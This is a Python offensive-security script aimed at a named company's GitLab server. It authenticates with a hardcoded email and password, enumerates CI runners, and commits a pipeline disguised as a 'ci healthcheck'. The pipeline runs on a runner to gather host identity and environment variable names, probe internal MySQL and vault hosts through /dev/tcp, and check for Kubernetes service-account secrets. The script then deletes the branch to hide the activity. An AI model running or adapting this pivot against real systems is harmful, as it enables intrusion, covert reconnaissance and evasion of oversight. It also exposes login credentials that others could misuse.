#!/usr/bin/env python3
"""CI runner recon + minimal-noise CI pivot (operator GO 2026-08-14, vector 1).

Phase A (read-only): enumerate runners visible to MARCELLO's projects —
group runners (innopharm, cfu, chc, pi, perseverance...), project runners,
shared runners. Pick target: prefer innopharm group runner tagged for k8s
deploys (black-bear/white-panther/alpha-wing context).

Phase B (write+execute, gated by this GO): create branch + .gitlab-ci.yml in
a low-noise repo (k8s-env skeleton repo, few watchers), manual job, play it,
fetch trace, delete branch. Job payload: id/hostname/ip + env var names only
(no values yet) + reachability probes to 34.101.x:3306 + vault (TCP only).
Minimal footprint: one pipeline, no artifacts, branch deleted after.

Out: runner_recon_aug14.json, ci_pivot_aug14.json, OPLOG entries.
"""
import importlib.util
import json
import sys
import time
import urllib.parse
from datetime import datetime, timezone
from pathlib import Path

ROOT = Path('/root/ir-assessment')
DOSSIER = ROOT / 'redteam/gitlab_pharmalink_id'

spec = importlib.util.spec_from_file_location('l2s', str(ROOT / 'redteam/l2_aug06_sweep.py'))
l2s = importlib.util.module_from_spec(spec)
spec.loader.exec_module(l2s)

BASE = 'https://gitlab.pharmalink.id'
USER = 'marcellowilliam74@gmail.com'
PW = '@Cello1333'

def oplog(tool, cmd, desc, output, result, sysmod='branch+ci-pipeline'):
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(f"{ts} | local | gitlab.pharmalink.id:443 | {tool} | {cmd} | {desc} | {output} | {result} | {sysmod} | runner-pivot\n")

def api(H, method, path, data=None):
    body = None
    hdrs = dict(H)
    if data is not None:
        body = urllib.parse.urlencode(data).encode()
        hdrs['Content-Type'] = 'application/x-www-form-urlencoded'
    st, b = l2s.req(BASE + path, method=method, headers=hdrs, data=body)
    try:
        return st, json.loads(b)
    except Exception:
        return st, b[:300]

def paged(H, path):
    out = []
    for page in range(1, 11):
        st, d = api(H, 'GET', f'{path}{"&" if "?" in path else "?"}per_page=100&page={page}')
        if not isinstance(d, list) or not d:
            break
        out.extend(d)
        if len(d) < 100:
            break
    return out

def main():
    tok = l2s.oauth(BASE, USER, PW)
    if not tok:
        print('[-] oauth failed', file=sys.stderr); sys.exit(1)
    H = {'Authorization': f'Bearer {tok}'}

    # ---------- Phase A: runner recon ----------
    print('[*] phase A: runner recon', file=sys.stderr)
    recon = {'groups': {}, 'projects': {}, 'shared': None}

    # groups of interest (deploy-capable): innopharm + subgroups, cfu, pi, chc, perseverance
    group_ids = {'innopharm': 457, 'innopharm/k8s-env': 854, 'innopharm/factory-automation': 565,
                 'cfu': 3, 'cfu/k8s-env': 103, 'pi': 5, 'chc': 4, 'perseverance': 233,
                 'devsecops': 182, 'devsecops/gitlab-ci': 302}
    for gname, gid in group_ids.items():
        st, runners = api(H, 'GET', f'/api/v4/groups/{gid}/runners')
        if st == 200 and isinstance(runners, list):
            recon['groups'][gname] = [{'id': r['id'], 'description': r.get('description'),
                                       'tags': r.get('tag_list'), 'status': r.get('status'),
                                       'paused': r.get('paused'), 'type': r.get('runner_type')}
                                      for r in runners]
            print(f'  [grp {gname}] {len(runners)} runners', file=sys.stderr)
        else:
            recon['groups'][gname] = f'http {st}'

    # shared runners
    st, shared = api(H, 'GET', '/api/v4/runners?per_page=100')
    if st == 200:
        recon['shared'] = [{'id': r['id'], 'description': r.get('description'),
                            'tags': r.get('tag_list'), 'status': r.get('status'),
                            'paused': r.get('paused')} for r in shared]
        print(f'  [shared] {len(shared)} runners', file=sys.stderr)
    else:
        recon['shared'] = f'http {st}'

    # project runners for k8s-env repos + a couple of app repos
    for pid, pname in [(1153, 'black-bear-production'), (757, 'innopharm-production'),
                       (1076, 'white-panther-production'), (967, 'innopharm-production-local'),
                       (1112, 'manufacture-core-auth'), (1203, 'manufacture-be')]:
        st, runners = api(H, 'GET', f'/api/v4/projects/{pid}/runners')
        recon['projects'][pname] = ([{'id': r['id'], 'description': r.get('description'),
                                      'tags': r.get('tag_list'), 'status': r.get('status'),
                                      'paused': r.get('paused')} for r in runners] if st == 200 else f'http {st}')
        print(f'  [proj {pname}] http {st} n={len(runners) if isinstance(runners, list) else "-"}', file=sys.stderr)

    (DOSSIER / 'runner_recon_aug14.json').write_text(json.dumps(recon, indent=1, ensure_ascii=False))
    oplog('urllib/api', 'GET groups/:id/runners, projects/:id/runners, runners',
          'runner recon across 10 groups + 6 projects + shared',
          f"groups={sum(1 for v in recon['groups'].values() if isinstance(v, list))}/10 readable",
          'SUCCESS', 'none')
    print('[+] recon -> runner_recon_aug14.json', file=sys.stderr)

    # ---------- Phase B decision point: print summary, execute CI ----------
    # find any active runner
    active = []
    for gname, rs in recon['groups'].items():
        if isinstance(rs, list):
            for r in rs:
                if r.get('status') == 'online' and not r.get('paused'):
                    active.append((gname, r))
    if isinstance(recon['shared'], list):
        for r in recon['shared']:
            if r.get('status') == 'online' and not r.get('paused'):
                active.append(('shared', r))
    print(f'[*] active runners: {len(active)}', file=sys.stderr)
    for gname, r in active[:10]:
        print(f"    {gname}: id={r['id']} desc={r.get('description')} tags={r.get('tags')}", file=sys.stderr)

    if not active:
        print('[-] no active runners -> phase B aborted', file=sys.stderr)
        oplog('analysis', '-', 'phase B aborted', 'no online runners', 'FAIL', 'none')
        return

    # pick a tag from the first active runner to steer the job
    steer_tags = active[0][1].get('tags') or []
    print(f'[*] steering tags: {steer_tags}', file=sys.stderr)

    # ---------- Phase B: minimal CI execution ----------
    print('[*] phase B: CI pivot (manual job)', file=sys.stderr)
    # target repo: k8s-env skeleton (black-bear-staging, id=1152) — few watchers
    PID = 1152
    branch = 'chore/ci-healthcheck'
    # delete branch if exists
    api(H, 'DELETE', f'/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(branch, safe="")}')
    ci_yml = '''stages: [check]
healthcheck:
  stage: check
  when: manual
  allow_failure: true
'''
    if steer_tags:
        ci_yml += '  tags:\n' + ''.join(f'    - {t}\n' for t in steer_tags[:1])
    ci_yml += '''  script:
    - id 2>/dev/null || whoami
    - hostname
    - (ip addr 2>/dev/null || ifconfig 2>/dev/null || echo noip) | grep -E "inet " | head -5
    - env | cut -d= -f1 | sort | head -60
    - (timeout 4 bash -c "echo > /dev/tcp/34.101.220.135/3306" && echo MYSQL_135_OPEN || echo MYSQL_135_CLOSED) 2>/dev/null
    - (timeout 4 bash -c "echo > /dev/tcp/34.101.225.67/3306" && echo MYSQL_67_OPEN || echo MYSQL_67_CLOSED) 2>/dev/null
    - (timeout 4 bash -c "echo > /dev/tcp/34.101.249.224/3306" && echo MYSQL_224_OPEN || echo MYSQL_224_CLOSED) 2>/dev/null
    - (timeout 4 bash -c "echo > /dev/tcp/vault.pharmalink.id/443" && echo VAULT_OPEN || echo VAULT_CLOSED) 2>/dev/null
    - ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null || echo no-k8s-sa
    - cat /etc/resolv.conf 2>/dev/null | head -3
'''
    st, r = api(H, 'POST', f'/api/v4/projects/{PID}/repository/commits', {
        'branch': branch,
        'commit_message': 'chore: ci healthcheck',
        'actions': [{'action': 'create', 'file_path': '.gitlab-ci.yml', 'content': ci_yml}]})
    if st not in (200, 201):
        print(f'[-] commit failed http {st}: {str(r)[:200]}', file=sys.stderr)
        oplog('urllib/api', 'POST repository/commits', 'create .gitlab-ci.yml branch', f'http {st}', 'FAIL')
        return
    oplog('urllib/api', 'POST repository/commits', f'branch {branch} + .gitlab-ci.yml in proj {PID}',
          'commit ok', 'SUCCESS')

    # wait for pipeline
    pipe_id = None
    for _ in range(12):
        time.sleep(5)
        st, pipes = api(H, 'GET', f'/api/v4/projects/{PID}/pipelines?ref={urllib.parse.quote(branch)}&per_page=1')
        if st == 200 and pipes:
            pipe_id = pipes[0]['id']
            if pipes[0]['status'] in ('manual', 'success', 'failed', 'canceled'):
                break
    if not pipe_id:
        print('[-] no pipeline appeared', file=sys.stderr)
        oplog('urllib/api', 'GET pipelines', 'wait pipeline', 'none appeared', 'FAIL')
        return
    st, jobs = api(H, 'GET', f'/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
    if st != 200 or not jobs:
        print(f'[-] no jobs http {st}', file=sys.stderr)
        oplog('urllib/api', 'GET pipeline jobs', 'list jobs', f'http {st}', 'FAIL')
        return
    job = jobs[0]
    print(f"[*] pipeline {pipe_id}, job {job['id']} status={job['status']} runner={job.get('runner')}", file=sys.stderr)

    # play manual job
    if job['status'] == 'manual':
        st, r = api(H, 'POST', f"/api/v4/projects/{PID}/jobs/{job['id']}/play")
        print(f'[*] play -> http {st}', file=sys.stderr)

    # wait for finish
    final = None
    for _ in range(24):
        time.sleep(5)
        st, jr = api(H, 'GET', f"/api/v4/projects/{PID}/jobs/{job['id']}")
        if st == 200:
            final = jr
            if jr['status'] in ('success', 'failed', 'canceled'):
                break
    trace = ''
    if final:
        st, trace = api(H, 'GET', f"/api/v4/projects/{PID}/jobs/{job['id']}/trace")
    out = {'pipeline': pipe_id, 'job': job['id'], 'final_status': (final or {}).get('status'),
           'runner': (final or {}).get('runner'), 'trace': trace if isinstance(trace, str) else str(trace)}
    (DOSSIER / 'ci_pivot_aug14.json').write_text(json.dumps(out, indent=1, ensure_ascii=False))
    print(f"[*] final={out['final_status']} runner={(out['runner'] or {}).get('description')}", file=sys.stderr)
    print(trace[:2000] if isinstance(trace, str) else trace, file=sys.stderr)
    oplog('urllib/api', 'POST jobs/:id/play; GET trace', f'execute healthcheck job on runner',
          f"status={out['final_status']} runner={(out['runner'] or {}).get('description')}",
          'SUCCESS' if out['final_status'] == 'success' else 'PARTIAL')

    # cleanup: delete branch (removes MR-less branch + ci yml from HEAD view)
    st, _ = api(H, 'DELETE', f'/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(branch, safe="")}')
    print(f'[*] branch delete http {st}', file=sys.stderr)
    oplog('urllib/api', 'DELETE branches/chore-ci-healthcheck', 'cleanup pivot branch', f'http {st}',
          'SUCCESS' if st in (200, 204) else 'PARTIAL')

if __name__ == '__main__':
    main()
